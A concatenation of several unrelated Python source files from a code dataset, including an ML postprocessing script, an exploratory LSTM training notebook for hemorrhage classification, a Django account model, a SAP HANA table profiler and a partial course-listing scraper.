distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ============================================================================\n\n'''\npostprocess script.\n'''\n\nimport os\nimport argparse\nimport numpy as np\nfrom mindspore import Tensor\nfrom src.assessment_method import Accuracy\n\nparser = argparse.ArgumentParser(description=\"postprocess\")\nparser.add_argument(\"--batch_size\", type=int, default=1, help=\"Eval batch size, default is 1\")\nparser.add_argument(\"--num_class\", type=int, default=3, help=\"Number of class, default is 3\")\nparser.add_argument(\"--label_dir\", type=str, default=\"\", help=\"label data dir\")\nparser.add_argument(\"--result_dir\", type=str, default=\"./result_Files\", help=\"infer result Files\")\n\nargs, _ = parser.parse_known_args()\n\nif __name__ == \"__main__\":\n num_class = args.num_class\n\n callback = Accuracy()\n file_name = os.listdir(args.label_dir)\n for f in file_name:\n f_name = os.path.join(args.result_dir, f.split('.')[0] + '_0.bin')\n logits = np.fromfile(f_name, np.float32).reshape(args.batch_size, num_class)\n logits = Tensor(logits)\n label_ids = np.fromfile(os.path.join(args.label_dir, f), np.int32)\n label_ids = Tensor(label_ids.reshape(args.batch_size, 1))\n callback.update(logits, label_ids)\n\n print(\"==============================================================\")\n print(\"acc_num {} , total_num {}, accuracy {:.6f}\".format(callback.acc_num, callback.total_num,\n callback.acc_num / callback.total_num))\n print(\"==============================================================\")\n","sub_path":"research/nlp/emotect/postprocess.py","file_name":"postprocess.py","file_ext":"py","file_size_in_byte":2164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"134692510","text":"import numpy as np\nimport math\nimport pandas as pd\nfrom sklearn.metrics import log_loss\nimport ast\nimport pickle\n\nimport csv, gzip, os, sys\nimport math\nimport torch\nfrom torch import nn\nimport torch.optim as optim\nfrom torch.nn import functional as F\n\nimport logging\nfrom tqdm import tqdm\nimport datetime\nimport optparse\nfrom torch.utils.data import Dataset\nfrom sklearn.metrics import log_loss\nfrom torch.utils.data import DataLoader\n\npd.set_option('display.max_rows', 1000)\npd.set_option('display.max_columns', 100)\n\n\nROOT = '/Users/dhanley2/Documents/Personal/rsna'\npath_data = os.path.join(ROOT, 'data')\npath_emb = os.path.join(ROOT, 'eda/emb/resnext101v12fold0')\nn_classes = 6\nSIZE=480\nfold=0\nbatch_size=4\nGLOBALEPOCH=0\nLSTM_UNITS=32#1024\nEPOCHS=9\nlr=0.0001 \nnbags=8 \nDROPOUT=0.3\nlabel_cols = ['epidural', 'intraparenchymal', 'intraventricular', 'subarachnoid', 'subdural', 'any']\n\n\n\ndef dumpobj(file, obj):\n with open(file, 'wb') as handle:\n pickle.dump(obj, handle, protocol=pickle.HIGHEST_PROTOCOL)\n \ndef loadobj(file):\n with open(file, 'rb') as handle:\n return pickle.load(handle)\n \n \ndef makeSub(ypred, imgs):\n imgls = np.array(imgs).repeat(len(label_cols)) \n icdls = pd.Series(label_cols*ypred.shape[0]) \n yidx = ['{}_{}'.format(i,j) for i,j in zip(imgls, icdls)]\n subdf = pd.DataFrame({'ID' : yidx, 'Label': ypred.flatten()})\n return subdf\n\nclass SpatialDropout(nn.Dropout2d):\n def forward(self, x):\n x = x.unsqueeze(2) # (N, T, 1, K)\n x = x.permute(0, 3, 2, 1) # (N, K, 1, T)\n x = super(SpatialDropout, self).forward(x) # (N, K, 1, T), some features are masked\n x = x.permute(0, 3, 2, 1) # (N, T, 1, K)\n x = x.squeeze(2) # (N, T, K)\n return x\n\ndef criterion(data, targets, criterion = torch.nn.BCEWithLogitsLoss()):\n ''' Define custom loss function for weighted BCE on 'target' column '''\n loss_all = criterion(data, targets)\n loss_any = criterion(data[:,-1:], targets[:,-1:])\n return (loss_all*6 + loss_any*1)/7\n\nclass IntracranialDataset(Dataset):\n def __init__(self, df, mat, labels=label_cols):\n self.data = df\n self.mat = mat\n self.labels = labels\n self.patients = df.PatientID.unique()\n self.data = self.data.set_index('PatientID')\n\n def __len__(self):\n return len(self.patients)\n\n def __getitem__(self, idx):\n \n patidx = self.patients[idx]\n patdf = self.data.loc[patidx].sort_values('seq')\n patemb = self.mat[patdf['embidx'].values]\n patdelta = (patemb[1:]-patemb[:-1])\n ids = torch.tensor(patdf['embidx'].values)\n if self.labels:\n labels = torch.tensor(patdf[label_cols].values)\n return {'emb': patemb, 'embidx' : ids, 'labels': labels} \n else: \n return {'emb': patemb, 'embidx' : ids}\n\ndef predict(loader):\n valls = []\n imgls = []\n imgdf = loader.dataset.data.reset_index().set_index('embidx')[['Image']].copy()\n for step, batch in enumerate(loader):\n inputs = batch[\"emb\"]\n mask = batch['mask'].to(device, dtype=torch.int)\n inputs = inputs.to(device, dtype=torch.float)\n logits = model(inputs)\n # get the mask for masked labels\n maskidx = mask.view(-1)==1\n # reshape for\n logits = logits.view(-1, n_classes)[maskidx]\n valls.append(torch.sigmoid(logits).detach().cpu().numpy())\n # Get the list of images\n embidx = batch[\"embidx\"].detach().cpu().numpy().astype(np.int32)\n embidx = embidx.flatten()[embidx.flatten()>-1]\n images = imgdf.loc[embidx].Image.tolist() \n imgls += images\n return np.concatenate(valls, 0), imgls\n\n# a simple custom collate function, just to show the idea\ndef collatefn(batch):\n maxlen = max([l['emb'].shape[0] for l in batch])\n embdim = batch[0]['emb'].shape[1]\n withlabel = 'labels' in batch[0]\n if withlabel:\n labdim= batch[0]['labels'].shape[1]\n \n for b in batch:\n masklen = maxlen-len(b['emb'])\n b['emb'] = np.vstack((np.zeros((masklen, embdim)), b['emb']))\n b['embidx'] = torch.cat((torch.ones((masklen),dtype=torch.long)*-1, b['embidx']))\n b['mask'] = np.ones((maxlen))\n b['mask'][:masklen] = 0.\n if withlabel:\n b['labels'] = np.vstack((np.zeros((maxlen-len(b['labels']), labdim)), b['labels']))\n \n outbatch = {'emb' : torch.tensor(np.vstack([np.expand_dims(b['emb'], 0) \\\n for b in batch])).float()} \n outbatch['mask'] = torch.tensor(np.vstack([np.expand_dims(b['mask'], 0) \\\n for b in batch])).float()\n outbatch['embidx'] = torch.tensor(np.vstack([np.expand_dims(b['embidx'], 0) \\\n for b in batch])).float()\n if withlabel:\n outbatch['labels'] = torch.tensor(np.vstack([np.expand_dims(b['labels'], 0) for b in batch])).float()\n return outbatch\n\n# Get image sequences\ntrnmdf = pd.read_csv(os.path.join(path_data, 'train_metadata.csv'))\ntstmdf = pd.read_csv(os.path.join(path_data, 'test_metadata.csv'))\ntrnmdf['SliceID'] = trnmdf[['PatientID', 'SeriesInstanceUID', 'StudyInstanceUID']].apply(lambda x: '{}__{}__{}'.format(*x.tolist()), 1)\ntstmdf['SliceID'] = tstmdf[['PatientID', 'SeriesInstanceUID', 'StudyInstanceUID']].apply(lambda x: '{}__{}__{}'.format(*x.tolist()), 1)\nposcols = ['ImagePos{}'.format(i) for i in range(1, 4)]\ntrnmdf[poscols] = pd.DataFrame(trnmdf['ImagePositionPatient']\\\n .apply(lambda x: list(map(float, ast.literal_eval(x)))).tolist())\ntstmdf[poscols] = pd.DataFrame(tstmdf['ImagePositionPatient']\\\n .apply(lambda x: list(map(float, ast.literal_eval(x)))).tolist())\ntrnmdf = trnmdf.sort_values(['SliceID']+poscols)\\\n [['PatientID', 'SliceID', 'SOPInstanceUID']+poscols].reset_index(drop=True)\ntstmdf = tstmdf.sort_values(['SliceID']+poscols)\\\n [['PatientID', 'SliceID', 'SOPInstanceUID']+poscols].reset_index(drop=True)\ntrnmdf['seq'] = (trnmdf.groupby(['SliceID']).cumcount() + 1)\ntstmdf['seq'] = (tstmdf.groupby(['SliceID']).cumcount() + 1)\nkeepcols = ['PatientID', 'SliceID', 'SOPInstanceUID', 'ImagePos3', 'seq']\ntrnmdf = trnmdf[keepcols]\ntstmdf = tstmdf[keepcols]\ntrnmdf.columns = tstmdf.columns = ['PatientID', 'SliceID', 'Image','ImagePos3', 'seq']\n\ntrnmdf['ImagePos3_lag'] = (trnmdf['ImagePos3']-trnmdf['ImagePos3'].shift(1))\ntrnmdf['ImagePos3_lag'][trnmdf['SliceID']!=trnmdf['SliceID'].shift(1)] = 0\ntrnmdf['ImagePos3_lag'][trnmdf['SliceID']!=trnmdf['SliceID'].shift(1)] = 0\n\ntrnmdf['ImagePos3_lag'].hist()\n\ntrnmdf[['SliceID', 'ImagePos3', 'ImagePos3_lag']]\n\n(trnmdf['ImagePos3']-trnmdf['ImagePos3'].shift(1)).hist()\n\n# Load Data Frames\nSIZE, fold, GLOBALEPOCH\ntrndf = loadobj(os.path.join(path_emb, 'loaderT_{}_size{}_fold{}_ep{}'.format('trn', SIZE, fold, GLOBALEPOCH))).dataset.data\nvaldf = loadobj(os.path.join(path_emb, 'loaderT_{}_size{}_fold{}_ep{}'.format('val', SIZE, fold, GLOBALEPOCH))).dataset.data\ntstdf = loadobj(os.path.join(path_emb, 'loaderT_{}_size{}_fold{}_ep{}'.format('tst', SIZE, fold, GLOBALEPOCH))).dataset.data\ntrndf['embidx'] = range(trndf.shape[0])\nvaldf['embidx'] = range(valdf.shape[0])\ntstdf['embidx'] = range(tstdf.shape[0])\ntrndf = trndf.merge(trnmdf.drop('PatientID', 1), on = 'Image')\nvaldf = valdf.merge(trnmdf.drop('PatientID', 1), on = 'Image')\ntstdf = tstdf.merge(tstmdf, on = 'Image')\n\ntrnemb = np.load(os.path.join(path_emb, 'embT_{}_size{}_fold{}_ep{}.npz'.format('trn', SIZE, fold, GLOBALEPOCH)))['arr_0']\nvalemb = np.load(os.path.join(path_emb, 'embT_{}_size{}_fold{}_ep{}.npz'.format('val', SIZE, fold, GLOBALEPOCH)))['arr_0']\ntstemb = np.load(os.path.join(path_emb, 'embT_{}_size{}_fold{}_ep{}.npz'.format('tst', SIZE, fold, GLOBALEPOCH)))['arr_0']\n\nprint('Trn shape {} {}'.format(*trnemb.shape))\nprint('Val shape {} {}'.format(*valemb.shape))\nprint('Tst shape {} {}'.format(*tstemb.shape))\n\ntrndf.PatientID.value_counts().hist(bins = 100)\n\n\npatidx = trndf.set_index('PatientID')\npatients = trndf.SliceID.value_counts().index.tolist()\npatients.hist(bins = 100)\n\npatients.index.tolist()\n\na = (np.random.rand(8,8)*100).astype(np.int32)\n\na.astype(np.int32).shape\nmoving_average(a, n=3).astype(np.int32).shape\na.astype(np.int32)\nmoving_average(a, n=3).astype(np.int32)\n\ndef moving_average(a, n=3) :\n mat = np.cumsum(a, axis = 1, dtype=float) \n mat[:,n:] = mat[:,n:] - np.cumsum(a[:,n:], axis = 1, dtype=float)\n (mat/np.arange(1,mat.shape[0]+1).clip(0,n)[:, np.newaxis]).astype(np.int32)\n \n ret\n \n mat = np.cumsum(a, axis = 1, dtype=float).copy()\n mat[:,n:] = ((ret[:, n:] - ret[:, :-n])/3).astype(np.int32)\n return mat\n\n\n\nif random.randint(0,1)==0:\n patdf['seq'] = patdf['seq'][::-1]\n patdf = patdf.sort_values('seq').copy()\n\n\nprint('Create loaders...')\ntrndataset = IntracranialDataset(trndf, trnemb, labels=True)\ntrnloader = DataLoader(trndataset, batch_size=batch_size, shuffle=False, num_workers=0, collate_fn=collatefn)\n\nvaldataset = IntracranialDataset(valdf, valemb, labels=False)\ntstdataset = IntracranialDataset(tstdf, tstemb, labels=False)\ntstloader = DataLoader(tstdataset, batch_size=batch_size*4, shuffle=False, num_workers=8, collate_fn=collatefn)\nvalloader = DataLoader(valdataset, batch_size=batch_size*4, shuffle=False, num_workers=8, collate_fn=collatefn)\n\n\nfor batch in trnloader:\n a = batch['emb']\n print(a.shape)\n break\n \na.shape\n# https://www.kaggle.com/bminixhofer/speed-up-your-rnn-with-sequence-bucketing\nclass NeuralNet(nn.Module):\n def __init__(self, embed_size=trnemb.shape[-1]*3, LSTM_UNITS=64, DO = 0.3):\n super(NeuralNet, self).__init__()\n \n self.embedding_dropout = SpatialDropout(DO)\n \n self.lstm1 = nn.LSTM(embed_size, LSTM_UNITS, bidirectional=True, batch_first=True)\n self.lstm2 = nn.LSTM(LSTM_UNITS * 2, LSTM_UNITS, bidirectional=True, batch_first=True)\n\n self.linear1 = nn.Linear(LSTM_UNITS*2, LSTM_UNITS*2)\n self.linear2 = nn.Linear(LSTM_UNITS*2, LSTM_UNITS*2)\n\n self.linear = nn.Linear(LSTM_UNITS*2, n_classes)\n\n def forward(self, x, lengths=None):\n h_embedding = x\n \n h_lstm1, _ = self.lstm1(h_embedding)\n h_lstm2, _ = self.lstm2(h_lstm1)\n \n h_conc_linear1 = F.relu(self.linear1(h_lstm1))\n h_conc_linear2 = F.relu(self.linear2(h_lstm2))\n \n hidden = h_lstm1 + h_lstm2 + h_conc_linear1 + h_conc_linear2\n\n output = self.linear(hidden)\n #output = self.linear(h_lstm1)\n \n return output\n\nmodel = NeuralNet(LSTM_UNITS=LSTM_UNITS, DO = DROPOUT)\ndevice = 'cpu'\nmodel = model.to(device)\nplist = [{'params': model.parameters(), 'lr': lr}]\noptimizer = optim.Adam(plist, lr=lr)\n\n\nDECAY=0.01\nparam_optimizer = list(model.named_parameters())\nno_decay = ['bias', 'LayerNorm.bias', 'LayerNorm.weight']\nplist = [\n {'params': [p for n, p in param_optimizer if not any(nd in n for nd in no_decay)], 'weight_decay': DECAY},\n {'params': [p for n, p in param_optimizer if any(nd in n for nd in no_decay)], 'weight_decay': 0.0}\n ]\n\noptimizer = optim.Adam(plist, lr=lr)\n\n\n# https://www.kaggle.com/bminixhofer/speed-up-your-rnn-with-sequence-bucketing\n# baseline rmean : 0.06893\n# 2019-10-12 18:25:38,787 - SequenceLSTM - INFO - Epoch 0 logloss 0.06586674622676458\n\nypredls = []\nypredtstls = []\n\nfor epoch in range(EPOCHS):\n tr_loss = 0.\n for param in model.parameters():\n param.requires_grad = True\n model.train() \n for step, batch in enumerate(tqdm(trnloader)):\n #if step>100:\n # break\n y = batch['labels'].to(device, dtype=torch.float)\n mask = batch['mask'].to(device, dtype=torch.int)\n x = batch['emb'].to(device, dtype=torch.float)\n \n r = np.random.rand(1)\n\n if beta > 0 and r < cutmix_prob:\n # generate mixed sample\n lam = np.random.beta(beta, beta)\n rand_index = torch.randperm(x.size()[0]).cuda()\n target_a = y\n target_b = y[rand_index]\n mask_a = mask\n mask_b = mask[rand_index]\n # Mixup\n x = lam * x + (1 - lam) * x[rand_index]\n x = torch.autograd.Variable(x, requires_grad=True)\n \n target_a = torch.autograd.Variable(target_a) \n target_b = torch.autograd.Variable(target_b) \n # get the mask for masked labels\n maskidx_a = mask_a.view(-1)==1 \n maskidx_b = mask_b.view(-1)==1 \n # reshape for\n target_a = target_a.view(-1, n_classes)[maskidx_a]\n target_b = target_b.view(-1, n_classes)[maskidx_b]\n\n logits = model(x).to(device, dtype=torch.float)\n logits_a = logits.view(-1, n_classes)[maskidx_a] \n logits_b = logits.view(-1, n_classes)[maskidx_b] \n # Get loss\n loss = 0.5 * (criterion(logits_a, target_a) + criterion(logits_b, target_b))\n\n else:\n x = torch.autograd.Variable(x, requires_grad=True)\n y = torch.autograd.Variable(y)\n logits = model(x).to(device, dtype=torch.float)\n # get the mask for masked labels\n maskidx = mask.view(-1)==1\n # reshape for\n y = y.view(-1, n_classes)[maskidx]\n logits = logits.view(-1, n_classes)[maskidx]\n # Get loss\n loss = criterion(logits, y)\n \n tr_loss += loss.item()\n optimizer.zero_grad()\n #with amp.scale_loss(loss, optimizer) as scaled_loss:\n # scaled_loss.backward()\n loss.backward()\n optimizer.step()\n \n if step%1000==0:\n print('Trn step {} of {} trn lossavg {:.5f}'. \\\n format(step, len(trnloader), (tr_loss/(1+step))))\n \n model.eval()\n \n print('Prep val score...')\n ypred, imgval = predict(valloader)\n ypredls.append(ypred)\n yvalpred = sum(ypredls[-nbags:])/len(ypredls[-nbags:])\n yvalout = makeSub(yvalpred, imgval)\n\n if epoch==EPOCHS-1: yvalout.to_csv(os.path.join(path_emb, 'lstm{}deep_val_{}.csv.gz'.format(LSTM_UNITS, embnm)), \\\n index = False, compression = 'gzip')\n \n # get Val score\n weights = ([1, 1, 1, 1, 1, 2] * ypred.shape[0])\n yact = valloader.dataset.data[label_cols].values#.flatten()\n yact = makeSub(yact, valloader.dataset.data['Image'].tolist())\n yact = yact.set_index('ID').loc[yvalout.ID].reset_index()\n vallossavg = log_loss(yact['Label'].values, yvalout['Label'].values, sample_weight = weights)\n print('Epoch {} bagged val logloss {:.5f}'.format(epoch, vallossavg))","sub_path":"eda/lstm_experiment_v4.py","file_name":"lstm_experiment_v4.py","file_ext":"py","file_size_in_byte":14745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"18629412","text":"from math import floor\n\nmax = 0 # Максимальная прибыль\nmin1 = 1000 # Минимальная прибыль\ntruex = 0 # Количество упоковок \"Черное дерево\"\ntruey = 0 # Количество упоковок \"Букет вкусов\"\n\nfor x in range(1, 2000):\n y1 = floor((1365 - 0.7 * x) / 0.3)\n y2 = floor((1245 - 0.6 * x) / 0.3)\n y3 = floor((650 - 0.1 * x) / 0.2)\n\n if y1 < 0 or y2 < 0 or y3 < 0:\n break\n\n if y1 < y2 and y1 < y3:\n y = y1\n\n elif y2 < y1 and y2 < y3:\n y = y2\n\n else:\n y = y3\n\n if 90 * x + 100 * y > max:\n max = 90 * x + 100 * y\n truex = x\n truey = y\n\n if (1365 - 0.7 * x - 0.3 * y) + (1245 - 0.6 * x - 0.7 * y) + (650 - 0.1 * x - 0.2 * y) < min1:\n min = (1365 - 0.7 * x - 0.3 * y) + (1245 - 0.6 * x - 0.3 * y) + (650 - 0.1 * x - 0.2 * y)\n minx = x\n miny = y\n\nprint(\"Максимальна прибыль = \", max)\nprint(\"Минимальное число кофе, что может остаться\", min1)\nprint(\"Черное дерево = \", truex)\nprint(\"Букет вкусов = \", truey)\n\n\n","sub_path":"pythonOptimizationTask.py","file_name":"pythonOptimizationTask.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"110338267","text":"\nPARTICLES = [\n \"away\",\n \"back\",\n \"behind\",\n \"down\",\n \"in\",\n \"off\",\n \"on\",\n \"out\",\n \"over\",\n \"up\"\n]\n\n# This list is taken from Appendix IV on page 292 of Rodriguez-Puente's\n# book, The English Phrasal Verb: 1650-Present.\nPARTICLES_FULL_LIST = [\n \"aback\",\n \"aboard\",\n \"about\",\n \"above\",\n \"across\",\n \"ahead\",\n \"along\",\n \"apart\",\n \"around\",\n \"aside\",\n \"astray\",\n \"asunder\",\n \"away\",\n \"back\",\n \"behind\",\n \"by\",\n \"counter\",\n \"down\",\n \"forth\",\n \"forward\",\n \"forwards\",\n \"home\",\n \"in\",\n \"off\",\n \"on\",\n \"out\",\n \"over\",\n \"past\",\n \"round\",\n \"through\",\n \"to\",\n \"together\",\n \"under\",\n \"up\"\n]","sub_path":"constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"387813915","text":"from django.db import models\nfrom django.contrib.auth.models import AbstractUser\n\nfrom account.managers import CustomAccountManager\n\n\nclass CustomAccount(AbstractUser):\n \"\"\" Define a custom user which is the base for Teacher, Parent and Admin login\"\"\"\n username = None\n email = models.EmailField(max_length=255, unique=True)\n first_name = models.CharField(max_length=255, blank=False, null=False)\n is_activated = models.BooleanField(default=True, blank=False, null=False)\n\n NOT_SET = 'N'\n ADMIN = 'A'\n TEACHER = 'T'\n STUDENT = 'S'\n PARENT = 'P'\n\n TYPE_CHOICES = [\n (NOT_SET, 'Not set'),\n (ADMIN, 'Admin'),\n (TEACHER, 'Teacher'),\n (STUDENT, 'Student'),\n (PARENT, 'Parent'),\n ]\n\n type = models.CharField(\n max_length=1,\n choices=TYPE_CHOICES,\n default=NOT_SET\n )\n\n objects = CustomAccountManager()\n\n USERNAME_FIELD = 'email'\n REQUIRED_FIELDS = ['first_name']\n\n def __str__(self):\n return self.get_full_name()\n\n def get_full_name(self):\n name = self.first_name\n if self.last_name:\n name = name + ' ' + self.last_name\n return name\n\n def initialize_account(self, type, active=False):\n self.type = type\n self.is_activated = active\n self.save()\n\n def set_account_active(self):\n self.is_activated = True\n self.save()\n","sub_path":"api/account/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"418853889","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n Created on Mon May 14 15:56:07 2018\r\n\r\n BuildDDL.py\r\n\r\n Script to load a file into a Redshift database.\r\n Assumes the source file is in UTF-8. \r\n \r\n TO DO: \r\n Remove the global variables; tidy up and refactor.\r\n Write a function that reads a directory? \r\n Write a function that accesses Excel Spreadsheets? \r\n Data Quality Plugin? \r\n Something to recognise dates?\r\n\r\n\"\"\"\r\n#\r\n# Multi-threading library. \r\n # Can be either multiprocessing.dummy (for threads), or just multiprocessing, for processes. \r\nfrom multiprocessing.dummy import Pool\r\n\r\nimport DBUtils as db\r\nimport argparse\r\nimport pyhdb\r\nimport csv\r\n\r\nclass HanaProfiler:\r\n\r\n database_type = \"\"\r\n envt_tag = \"\"\r\n schema = \"\"\r\n table_prefix = \"\"\r\n chunk_size = 100\r\n create_table = False\r\n \r\n def __init__(self, database_type, envt_tag): \r\n\r\n self.db_util = db.DBUtils()\r\n \r\n self.database_type = database_type\r\n self.envt_tag = envt_tag\r\n \r\n self.connect_to_database()\r\n \r\n\r\n\r\n def extract_table_columns(self, schema_name, table_name):\r\n self.column_data = None\r\n \r\n sql_string = \"select schema_name as owner, table_name, column_name, data_type_name as data_type, length as data_length, is_nullable as nullable, default_value, comments from table_columns where table_name = '\" + table_name\r\n sql_string = sql_string + \"' and schema_name = '\" + schema_name + \"'\"\r\n \r\n self.column_data = self.db_util.execute_statement(sql_string, commit=False, return_results=True) \r\n \r\n #print(column_data)\r\n\r\n\r\n def profile_table(self, schema_name, table_name, where_clause = None, group_clause = None):\r\n\r\n # Query the Data Dictionary to figure out which columns we're looking at... \r\n self.extract_table_columns(schema_name, table_name) \r\n \r\n table = schema_name + \".\" + table_name\r\n \r\n results = []\r\n \r\n for column in self.column_data:\r\n\r\n \r\n column_filters = [] \r\n \r\n column_name = str(column[\"COLUMN_NAME\"])\r\n column_data_type = str(column[\"DATA_TYPE\"])\r\n column_length = str(column['DATA_LENGTH'])\r\n column_default = str(column[\"DEFAULT_VALUE\"])\r\n column_comments = str(column[\"COMMENTS\"]).replace(\"'\",\"\")\r\n \r\n if 1==1:\r\n #if column_data_type.upper() in ['VARCHAR', 'CHAR', 'NVARCHAR', 'VARCHAR2']:\r\n column_filters.append(\" to_double(min(length(\\\"\" + column_name + \"\\\"))) as minlen \" )\r\n column_filters.append(\" to_double(max(length(\\\"\" + column_name + \"\\\"))) as maxlen \" )\r\n column_filters.append(\" to_double(avg(length(\\\"\" + column_name + \"\\\"))) as avglen \" )\r\n column_filters.append(\" sum(map(trim(\\\"\" + column_name + \"\\\"), '', 1, 0)) as empty_string \") \r\n column_filters.append(\" sum(map(trim(\\\"\" + column_name + \"\\\"), '\" + column_default + \"', 1, 0)) as default_value \") \r\n\r\n \r\n #elif column_data_type in [\"NUMBER\",\"SMALLINT\", \"FLOAT\", \"DECIMAL\", \"DATE\", \"DATETIME\", \"TIMESTAMP\"]:\r\n if column_data_type in [\"DECIMAL\"]: \r\n column_filters.append(\" to_double(min(\\\"\" + column_name + \"\\\")) as minval \" )\r\n column_filters.append(\" to_double(max(\\\"\" + column_name + \"\\\")) as maxval \" )\r\n else:\r\n column_filters.append(\" min(\\\"\" + column_name + \"\\\") as minval \" )\r\n column_filters.append(\" max(\\\"\" + column_name + \"\\\") as maxval \" )\r\n\r\n \r\n column_filters.append(\" sum(map(\\\"\" + column_name + \"\\\", null, 1, 0)) as null_value\" ) \r\n column_filters.append(\" sum(map(\\\"\" + column_name + \"\\\", null, 0, 1)) as not_null_value \" ) \r\n column_filters.append(\" count(distinct \\\"\" + column_name + \"\\\") as distinct_values \" ) \r\n \r\n #elif column_data_type.upper() in \r\n \r\n sql_string = \"select '\\\"\" + column_name + \"\\\"' as column_name, '\\\"\" + column_comments + \"\\\"' as comments, \"\r\n sql_string += \"'\\\"\" + column_data_type + \"\\\"' as data_type, '\\\"\" + column_length + \"\\\"' as data_length, \"\r\n \r\n \r\n if group_clause is not None:\r\n sql_string = sql_string + \" \" + group_clause + \", \"\r\n \r\n sql_string = sql_string + \",\".join(column_filters) + \" \"\r\n \r\n sql_string = sql_string + \" from \" + table + \" \" \r\n \r\n if where_clause is not None:\r\n sql_string = sql_string + \" where \" + where_clause + \" \"\r\n \r\n sql_string = sql_string + \" group by '\\\"\" + column_name + \"\\\"','\\\"\" + column_comments + \"\\\"'\"\r\n \r\n if group_clause is not None:\r\n sql_string = sql_string + \", \" + group_clause + \" \"\r\n \r\n print(sql_string)\r\n \r\n column_results = self.db_util.execute_statement(sql_string, commit=False, return_results=True) \r\n \r\n results.append(column_results[0])\r\n \r\n return results\r\n\r\n\r\n\r\n\r\n '''\r\n Open a connection to the Redshift database. \r\n '''\r\n def connect_to_database(self): \r\n \r\n connection_params = self.db_util.process_config_file(self.database_type, self.envt_tag)\r\n \r\n # Use the connection params in the config file details to open a Redshift connection. \r\n self.db_util.con = pyhdb.connect(\r\n host=connection_params[\"host\"],\r\n port=connection_params[\"port\"], \r\n user=connection_params[\"user\"], \r\n password=connection_params[\"password\"]) \r\n \r\n\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\r\n parser = argparse.ArgumentParser()\r\n\r\n parser.add_argument(\"table_name\", help=\"fully qualified table name\")\r\n\r\n parser.add_argument(\"-d\", \"--database_type\", help=\"database environment tag (DEV, SIT, etc)\", default=\"HANA\") \r\n\r\n parser.add_argument(\"-e\", \"--envt_tag\", help=\"environment tag (DEV, SIT, etc)\", default=\"PROD\") \r\n\r\n parser.add_argument(\"-g\", \"--group_by_clause\", help=\"optional group by clause\") \r\n \r\n parser.add_argument(\"-w\", \"--where_clause\", help=\"optional where clause\")\r\n \r\n parser.add_argument(\"-s\", \"--skip\", help=\"optional comma delimited list of columns to skip\") \r\n\r\n parser.add_argument(\"-o\", \"--output_dir\", help=\"database structure\", default='c:/Temp/HANA_Profile')\r\n\r\n \r\n args = parser.parse_args() \r\n \r\n print(args)\r\n \r\n # Build a table name of the form [SCHEMA].[TABLE_PREFIX][FILE_NAME]\r\n table_name = args.table_name.split(\".\")[1] \r\n\r\n schema_name = args.table_name.split(\".\")[0] \r\n\r\n working_dir = args.output_dir\r\n\r\n # Open a connection to the database. \r\n profiler = HanaProfiler(args.database_type, args.envt_tag)\r\n\r\n\r\n # Profile the table. \r\n profile_data = profiler.profile_table(schema_name, table_name, where_clause =args.where_clause, group_clause=args.group_by_clause)\r\n \r\n print(profile_data)\r\n \r\n file_name = schema_name + \"_\" + table_name + \".csv\"\r\n \r\n with open(working_dir + \"/\" + file_name, 'w', newline='', encoding='utf-8') as f: # Just use 'w' mode in 3.x\\n\r\n \r\n writer = csv.DictWriter(f, fieldnames=profile_data[0].keys())\r\n writer.writeheader()\r\n writer.writerows(profile_data)","sub_path":"HanaProfiler.py","file_name":"HanaProfiler.py","file_ext":"py","file_size_in_byte":7715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"352035371","text":"import requests\nimport bs4\nfrom bs4 import BeautifulSoup\nimport json\n\n\n\nprint(\"input season and year in format \\\" \\\"\")\nsemester = input()\nsemester = semester.split(\" \")\n\nmonth = ''\nif semester[0] == 'fall':\n month = '08'\nelif semester[0] == 'summer':\n month = '05'\nelif semester[0] == 'winter':\n month = '12'\nelif semester[0] == 'spring':\n month = '01'\nelse:\n print(\"bad input\")\n\nsemester = semester[1] + month\n\n# list of extracted majors to query\nmajors = [\"AASP\", \"AAST\", \"AGNR\", \"AMSC\", \"AMST\", \"ANSC\", \"ANTH\", \"AOSC\", \"ARAB\",\n \"ARCH\", \"AREC\", \"ARHU\", \"ARMY\", \"ARSC\", \"ARTH\", \"ARTT\", \"ASTR\", \"BCHM\", \"BEES\",\n \"BIOE\", \"BIOL\", \"BIOM\", \"BIPH\", \"BISI\", \"BMGT\", \"BSCI\", \"BSCV\", \"BSGC\", \"BSOS\",\n \"BSST\", \"BUAC\", \"BUDT\", \"BUFN\", \"BULM\", \"BUMK\", \"BUMO\", \"BUSI\", \"BUSM\", \"BUSO\",\n \"CBMG\", \"CCJS\", \"CHBE\", \"CHEM\", \"CHIN\", \"CHPH\", \"CLAS\", \"CLFS\", \"CMLT\", \"CMSC\",\n \"COMM\", \"CPBE\", \"CPET\", \"CPGH\", \"CPJT\", \"CPMS\", \"CPPL\", \"CPSA\", \"CPSD\", \"CPSF\",\n \"CPSG\", \"CPSN\", \"CPSP\", \"CPSS\", \"DANC\", \"EALL\", \"ECON\", \"EDCP\", \"EDHD\", \"EDHI\",\n \"EDMS\", \"EDSP\", \"EDUC\", \"ENAE\", \"ENCE\", \"ENCH\", \"ENCO\", \"ENEE\", \"ENES\", \"ENFP\",\n \"ENGL\", \"ENMA\", \"ENME\", \"ENPM\", \"ENRE\", \"ENSE\", \"ENSP\", \"ENST\", \"ENTM\", \"ENTS\",\n \"EPIB\", \"FGSM\", \"FILM\", \"FIRE\", \"FMSC\", \"FREN\", \"GEMS\", \"GEOG\", \"GEOL\", \"GERM\",\n \"GREK\", \"GVPT\", \"HACS\", \"HDCC\", \"HEBR\", \"HEIP\", \"HESI\", \"HESP\", \"HHUM\", \"HISP\",\n \"HIST\", \"HLMN\", \"HLSA\", \"HLSC\", \"HLTH\", \"HONR\", \"IDEA\", 